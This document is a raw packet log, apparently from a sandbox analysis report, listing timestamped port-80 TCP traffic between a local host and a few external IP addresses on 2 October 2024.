Oct 2, 2024 17:17:25.636728048 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636769056 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636775017 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636826038 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636982918 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636993885 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637036085 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637140036 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637191057 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637317896 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637340069 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637350082 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637378931 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637408018 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637487888 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637556076 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637567043 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637639046 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637707949 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637751102 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637778997 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637831926 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637938023 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637978077 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.637978077 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.637989998 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638015985 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.638041019 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.638052940 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638325930 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.638585091 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638595104 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638606071 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638628006 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.638644934 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.638652086 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638663054 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638679028 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638689995 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638700962 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.638711929 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.638741970 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.640517950 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.640562057 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.640619040 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.640682936 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641017914 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641067982 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641139030 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641160965 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641171932 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641182899 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641186953 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641194105 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641205072 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641220093 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641226053 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641237974 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641247988 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641254902 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641258955 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641269922 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641284943 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641305923 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641815901 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641827106 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641836882 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641855955 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641869068 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641872883 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641884089 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641894102 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641897917 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641911030 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641911030 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641922951 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641932964 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641933918 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641944885 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641956091 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641961098 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.641968012 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.641988993 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642004013 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642036915 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642538071 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642566919 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642577887 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642587900 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642613888 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642613888 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642642021 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642652988 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642663956 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642674923 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642698050 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642698050 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642721891 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642765045 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642776012 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642786026 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642806053 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642808914 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642819881 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642827034 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642833948 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642847061 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.642860889 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642878056 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.642908096 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643511057 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643523932 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643534899 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643553019 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643573046 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643582106 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643585920 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643599987 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643610954 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643629074 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643650055 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643662930 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643671036 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643682957 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643693924 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643704891 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643707991 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643717051 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.643726110 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643738031 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.643765926 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645447969 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645478010 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645488977 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645498991 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645509958 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645520926 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645520926 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645520926 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645534039 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645541906 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645566940 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645613909 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645626068 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645637989 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645648956 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645658970 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645665884 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645670891 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645683050 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645683050 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645694017 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645704985 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645716906 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645735025 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645735025 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645745993 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645751953 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645757914 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645770073 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645771027 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.645790100 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.645804882 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646135092 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646146059 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646158934 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646187067 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646208048 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646210909 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646223068 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646233082 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646244049 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646255016 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646255016 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646275997 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646292925 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646325111 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646338940 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646348953 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646359921 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646370888 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646370888 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646383047 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646392107 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646415949 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646440983 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646459103 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646470070 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646481037 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646492004 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646502018 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646507025 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646507025 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646514893 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646527052 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646529913 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646538019 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646552086 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646590948 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646591902 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.646879911 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.646929979 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647012949 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647022963 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647038937 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647049904 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647059917 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647062063 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647084951 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647093058 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647104979 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647109032 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647115946 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647128105 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647161961 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647161961 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647206068 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647619009 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647651911 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647663116 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647692919 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647699118 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647713900 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647742987 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647767067 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647778988 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647790909 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647809029 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647823095 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647830963 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647835970 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647849083 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647859097 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647867918 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647888899 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647913933 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647926092 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647937059 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647948027 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647958040 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647968054 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647969961 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647988081 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.647998095 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.647998095 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648021936 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648055077 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648066044 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648077011 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648087978 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648097992 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648098946 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648121119 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648123026 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648135900 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648147106 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648149967 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648169994 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648199081 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.648222923 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.648252010 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.686336994 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:25.686338902 CEST	65275	80	192.168.2.6	45.132.206.251
Oct 2, 2024 17:17:25.755211115 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.760472059 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977701902 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977745056 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977756023 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977766991 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977776051 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977790117 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977802992 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977814913 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977823973 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.977834940 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.977881908 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978024960 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978038073 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978080034 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978084087 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978096008 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978096962 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978107929 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978118896 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978130102 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978137016 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978163958 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978178978 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978240967 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978251934 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978262901 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978272915 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978281021 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978285074 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978292942 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978300095 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978318930 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978326082 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978339911 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978364944 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978382111 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978406906 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978418112 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978429079 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978458881 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978460073 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978476048 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978482962 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978492975 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978502035 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978507996 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978513002 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978517056 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978540897 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978542089 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978562117 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978595972 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978607893 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978619099 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978630066 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978635073 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978662014 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978683949 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978694916 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978708029 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978718042 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978729010 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978744984 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978775024 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.978780031 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978799105 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978801012 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.978804111 CEST	80	65280	46.8.231.109	192.168.2.6
